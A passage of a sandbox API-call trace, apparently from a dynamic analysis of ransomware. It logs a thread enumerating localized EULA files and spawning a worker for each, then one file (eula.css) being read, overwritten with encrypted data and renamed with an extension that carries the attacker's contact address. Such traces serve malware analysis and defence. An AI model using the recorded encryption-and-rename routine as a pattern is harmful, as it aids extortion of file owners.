returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.699] wcscat (in: _Dest=0x347faa8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.699] wcscat (in: _Dest=0x347faa8, _Source="EULA_sk-sk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" [0077.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347faa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804 [0077.700] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1026f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sl-si.htm", cAlternateFileName="EULA_S~2.HTM")) returned 1 [0077.700] wcscmp (_String1="EULA_sl-si.htm", _String2=".") returned 1 [0077.700] wcscmp (_String1="EULA_sl-si.htm", _String2="..") returned 1 [0077.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480390 [0077.700] wcscpy (in: _Dest=0x3480390, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.700] wcscat (in: _Dest=0x3480390, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.700] wcscat (in: _Dest=0x3480390, _Source="EULA_sl-si.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" [0077.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0077.700] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12720, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sr-latn-cs.htm", cAlternateFileName="EULA_S~3.HTM")) returned 1 [0077.701] wcscmp (_String1="EULA_sr-latn-cs.htm", _String2=".") returned 1 [0077.701] wcscmp (_String1="EULA_sr-latn-cs.htm", _String2="..") returned 1 [0077.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd170 [0077.701] wcscpy (in: _Dest=0x33cd170, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.701] wcscat (in: _Dest=0x33cd170, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.701] wcscat (in: _Dest=0x33cd170, _Source="EULA_sr-latn-cs.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" [0077.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4 [0077.701] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x112f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sv-se.htm", cAlternateFileName="EULA_S~4.HTM")) returned 1 [0077.701] wcscmp (_String1="EULA_sv-se.htm", _String2=".") returned 1 [0077.701] wcscmp (_String1="EULA_sv-se.htm", _String2="..") returned 1 [0077.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34801b0 [0077.701] wcscpy (in: _Dest=0x34801b0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.702] wcscat (in: _Dest=0x34801b0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.702] wcscat (in: _Dest=0x34801b0, _Source="EULA_sv-se.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" [0077.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34801b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0077.702] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3e0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_th-th.htm", cAlternateFileName="EULA_T~1.HTM")) returned 1 [0077.702] wcscmp (_String1="EULA_th-th.htm", _String2=".") returned 1 [0077.702] wcscmp (_String1="EULA_th-th.htm", _String2="..") returned 1 [0077.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fd00 [0077.703] wcscpy (in: _Dest=0x347fd00, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.703] wcscat (in: _Dest=0x347fd00, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.703] wcscat (in: _Dest=0x347fd00, _Source="EULA_th-th.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" [0077.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0077.703] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12581, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_tr-tr.htm", cAlternateFileName="EULA_T~2.HTM")) returned 1 [0077.703] wcscmp (_String1="EULA_tr-tr.htm", _String2=".") returned 1 [0077.703] wcscmp (_String1="EULA_tr-tr.htm", _String2="..") returned 1 [0077.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34802a0 [0077.703] wcscpy (in: _Dest=0x34802a0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.703] wcscat (in: _Dest=0x34802a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.704] wcscat (in: _Dest=0x34802a0, _Source="EULA_tr-tr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" [0077.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34802a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0077.704] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x411eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_uk-ua.htm", cAlternateFileName="EULA_U~1.HTM")) returned 1 [0077.704] wcscmp (_String1="EULA_uk-ua.htm", _String2=".") returned 1 [0077.704] wcscmp (_String1="EULA_uk-ua.htm", _String2="..") returned 1 [0077.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fdf0 [0077.704] wcscpy (in: _Dest=0x347fdf0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.704] wcscat (in: _Dest=0x347fdf0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.704] wcscat (in: _Dest=0x347fdf0, _Source="EULA_uk-ua.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" [0077.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0077.705] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed21, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-cn.htm", cAlternateFileName="EULA_Z~1.HTM")) returned 1 [0077.705] wcscmp (_String1="EULA_zh-cn.htm", _String2=".") returned 1 [0077.705] wcscmp (_String1="EULA_zh-cn.htm", _String2="..") returned 1 [0077.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347ff58 [0077.705] wcscpy (in: _Dest=0x347ff58, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.705] wcscat (in: _Dest=0x347ff58, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.705] wcscat (in: _Dest=0x347ff58, _Source="EULA_zh-cn.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" [0077.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ff58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0077.706] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-hk.htm", cAlternateFileName="EULA_Z~2.HTM")) returned 1 [0077.706] wcscmp (_String1="EULA_zh-hk.htm", _String2=".") returned 1 [0077.706] wcscmp (_String1="EULA_zh-hk.htm", _String2="..") returned 1 [0077.706] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480228 [0077.706] wcscpy (in: _Dest=0x3480228, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.706] wcscat (in: _Dest=0x3480228, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.706] wcscat (in: _Dest=0x3480228, _Source="EULA_zh-hk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" [0077.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0077.707] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-tw.htm", cAlternateFileName="EULA_Z~3.HTM")) returned 1 [0077.707] wcscmp (_String1="EULA_zh-tw.htm", _String2=".") returned 1 [0077.707] wcscmp (_String1="EULA_zh-tw.htm", _String2="..") returned 1 [0077.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fb20 [0077.707] wcscpy (in: _Dest=0x347fb20, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.707] wcscat (in: _Dest=0x347fb20, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.707] wcscat (in: _Dest=0x347fb20, _Source="EULA_zh-tw.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" [0077.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0077.708] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-tw.htm", cAlternateFileName="EULA_Z~3.HTM")) returned 0 [0077.708] FindClose (in: hFindFile=0x33e0518 | out: hFindFile=0x33e0518) returned 1 [0077.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4380) returned 1 [0077.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f198) returned 1 [0077.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f140) returned 1 [0077.709] RtlExitUserThread (Status=0x0) Thread: id = 789 os_tid = 0x138c [0075.979] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css")) returned 0x20 [0075.980] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css", dwFileAttributes=0x20) returned 1 [0075.980] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9ec [0075.980] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x1d83fae4 | out: lpFileSize=0x1d83fae4*=82) returned 1 [0075.980] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.980] ReadFile (in: hFile=0x9ec, lpBuffer=0x1d83fab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d83fab4, lpOverlapped=0x0 | out: lpBuffer=0x1d83fab8*, lpNumberOfBytesRead=0x1d83fab4*=0x4, lpOverlapped=0x0) returned 1 [0075.981] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478940 [0075.981] NtQuerySystemTime (in: CurrentTime=0x1d83fa90 | out: CurrentTime=0x1d83fa90*=132121176338783705) returned 0x0 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xd674fc37 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x62e18a30 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x234614 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xa3c7053a [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xeede8ae2 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xe78a1671 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xebb63412 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xdc05255c [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xadf15752 [0075.981] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x22741f74 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x5a021c50 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xc6fb6658 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xdd7b52b1 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x7b49f8e2 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x6eb4485e [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xfd0d2cbf [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x9c4492d4 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xdcfdc568 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xe43b6c32 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x91462716 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xe776d2ed [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x5cacf296 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x305fc8df [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x60a9f39e [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x9972194d [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x8458a122 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xec87dd59 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x33dbe92 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0xb347ea98 [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x929f0b3e [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x4368c98d [0075.982] RtlRandom (in: Seed=0x1d83fa9c | out: Seed=0x1d83fa9c) returned 0x6d19c898 [0075.993] ReadFile (in: hFile=0x9ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x1d83fa90, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d83fa90*=0x52, lpOverlapped=0x0) returned 1 [0075.993] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d83fa58 | out: lpNewFilePointer=0x0) returned 1 [0075.993] WriteFile (in: hFile=0x9ec, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x1d83fa8c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d83fa8c*=0x52, lpOverlapped=0x0) returned 1 [0075.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478990 [0075.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34789e0 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789e0) returned 1 [0075.994] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478990*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d83fa88, lpOverlapped=0x0 | out: lpBuffer=0x3478990*, lpNumberOfBytesWritten=0x1d83fa88*=0x20, lpOverlapped=0x0) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478990) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.994] WriteFile (in: hFile=0x9ec, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d83fab4, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d83fab4*=0x8, lpOverlapped=0x0) returned 1 [0075.994] WriteFile (in: hFile=0x9ec, lpBuffer=0x1d83facc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d83fab4, lpOverlapped=0x0 | out: lpBuffer=0x1d83facc*, lpNumberOfBytesWritten=0x1d83fab4*=0x4, lpOverlapped=0x0) returned 1 [0075.994] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d83fab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d83fab4*=0x4, lpOverlapped=0x0) returned 1 [0075.994] WriteFile (in: hFile=0x9ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d83fab4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d83fab4*=0x6c, lpOverlapped=0x0) returned 1 [0075.994] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d83fab4, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d83fab4*=0x20, lpOverlapped=0x0) returned 1 [0075.994] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d83fab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d83fab4*=0x4, lpOverlapped=0x0) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478968) returned 1 [0075.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.994] CloseHandle (hObject=0x9ec) returned 1 [0075.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb450 [0075.995] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Windows10Upgrade\\resources\\ux\\eula.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\eula.css") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css" [0075.995] wcscat (in: _Dest=0x33eb450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731" [0075.995] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.995] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 